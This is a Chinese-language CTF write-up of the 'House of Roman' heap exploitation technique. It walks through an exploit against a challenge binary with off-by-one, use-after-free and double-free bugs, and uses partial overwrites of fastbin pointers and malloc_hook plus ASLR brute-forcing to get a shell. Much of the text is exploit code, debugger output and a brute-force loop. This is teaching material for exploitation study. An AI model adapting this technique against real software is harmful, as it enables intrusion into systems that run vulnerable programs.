前言

这是前几天国外一个老哥提出的一种思路，学习了一下感觉其中的堆布局的手法还不错，做个分享与记录。

这种利用手法的主要特点是不需要 leak libc的地址，通过堆内存的布局和堆相关的漏洞（uaf 等) 就可以 getshell。下面一个示例的题目为例介绍一下

漏洞分析

查看开启的保护措施

04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
[*] '/home/haclh/workplace/house_of_roman/new_chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

开了 pie .

程序主要就三个功能

Malloc ，用户输入 size, 然后 malloc(size) , 大小不限
Write, 往指定 heap_ptr 写入 size+1 字节数据，一字节溢出
Free, 调用 free 释放掉 heap_ptr ，不过没有清零，double free 和 uaf （Write 时只是校验指针是否为 0）.

漏洞利用

思路

因为没有 leak 的机会，同时还还有 aslr ，因为 aslr 随机化的比特数是有限的，低 12bit 的随机化程度还是比较小，这就给了爆破的机会。

House of Roman 的一个核心思路就是利用 局部写减少随机化的程度，从而给出爆破的可能。

程序开了 pie ，一般的思路就是写 malloc_hook 或者其他的一些 hook, 然后触发 malloc ， getshell。

其中如果是 64 位程序，通过malloc_printerr 触发 malloc ，基本可以稳定 getshell 。

总的一个利用步骤如下 (chunk 指的是 malloc 源码中的 chunk ,包含元数据)

首先分配 3 个 chunk （A , B, C） ，大小分别为 0x20, 0xd0, 0x70
在 B + 0x78 处设置 p64(0x61) ，作用是 fake size ,用于后面的 fastbin attack
释放掉 B , B 进入 unsorted bin , 此时 B+0x10 和 B+0x18 中有 main_arean 的地址
再次分配 0xd0 , 会分配到 B，此时 B+0x10 和 B+0x18 中 main_arean 的地址依然存在
然后分配 3 个 0x70 的 chunk (D , E, F)，为后续做准备
在 A 触发单字节溢出，修改 B->size = 0x71 . 然后释放 C , D，此时 C , D 进入 fastbin , 同时 D->fd = C. 由于 chunk之间的相对偏移固定，于是利用 uaf 修改 D->fd 的低字节，使得 D->fd=B
此时 B->size = 0x71 ，同时 B + 0x78 为 p64(0x61) （第2步设置），这就成功伪造了一个 0x70 大小的 fastbin。此时 B->fd 为 main_arean 的地址，于是通过修改低 2个字节，可以修改到 malloc_hook - 0x23 处（ malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) )
然后分配 3 次 0x70 的 chunk，就可以拿到包含 malloc_hook 的 chunk, 此时 malloc_hook 内容为 0
然后利用 unsorted bin 修改 malloc_hook 内容为 main_arean 的地址
利用部分写修改 malloc_hook 为 one_gadget
多次释放一个指针，触发 double free 异常，进而触发 malloc_printerr ， getshell

下面根据 exp 具体看看。

exp分析

分配 3 个 chunk ，在 B + 0x78 处设置 p64(0x61) ，作用是 fake size ,用于后面的 fastbin attack

create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2)  # 0x70

info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61)  ## fake size
edit(1,fake)
info("fake")

释放掉 B , 然后分配同样大小再次分配到 B , 此时 B+0x10 和 B+0x18 中有 main_arean 的地址。分配 3 个 fastbin ，利用 off by one 修改 B->size = 0x71

free(1)
create(0xc8,1)

create(0x65,3)  # b
create(0x65,15)
create(0x65,18)

over = "A"*0x18  # off by one
over += "\x71"  # set chunk  1's size --> 0x71
edit(0,over)
info("利用 off by one ,  chunk  1's size --> 0x71")

生成两个 fastbin ，然后利用 uaf ，部分地址写，把 B 链入到 fastbin

free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")

调试看看此时 fastbin 的状态

pwndbg> fastbins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0

0x555555757020 就是 chunk B

然后通过修改 B->fd 的低 2 字节，使得 B->fd= malloc_hook - 0x23

# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("部分写，修改 fastbin->fd ---> malloc_hook")

然后分配 3 个 0x70 的 chunk ，就可以拿到 malloc_hook 所在的那个 chunk .

create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")

然后 free 掉 E ，进入 fastbin ，利用 uaf 设置 E->fd = 0 ，修复了 fastbin (好思路)

free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")

然后是 unsorted bin 攻击，使得 malloc_hook 的值为 main_arena+88

create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
info("unsorted bin 使得 malloc_hook 有 libc 的地址")

利用修改 malloc_hook 的低三个字节，使得 malloc_hook 为 one_gadget 的地址

over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)

info("malloc_hook to one_gadget")

然后 free 两次同一个 chunk ，触发 malloc_printerr ， getshell

free(18)
free(18)

上面的偏移为一次调试所得，开启 aslr 后，需要跑很多次（碰运气，写个脚本重复执行

#!/bin/bash
for i in `seq 1 5000`; do python final.py; done;

跑啊跑就出 shell

总结

总的思路就是 部分地址写 + 爆破 绕过 aslr . 其中的有趣的部分是堆布局，利用 off by one 伪造 fastbin 链，利用 unsorted bin attack 设置 libc 的地址的部分。

调试 pie 程序，关了 aslr 方便调试

echo 0 > /proc/sys/kernel/randomize_va_space

参考

https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc
https://github.com/romanking98/House-Of-Roman

House of Roman 实战

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思路

exp分析

总结

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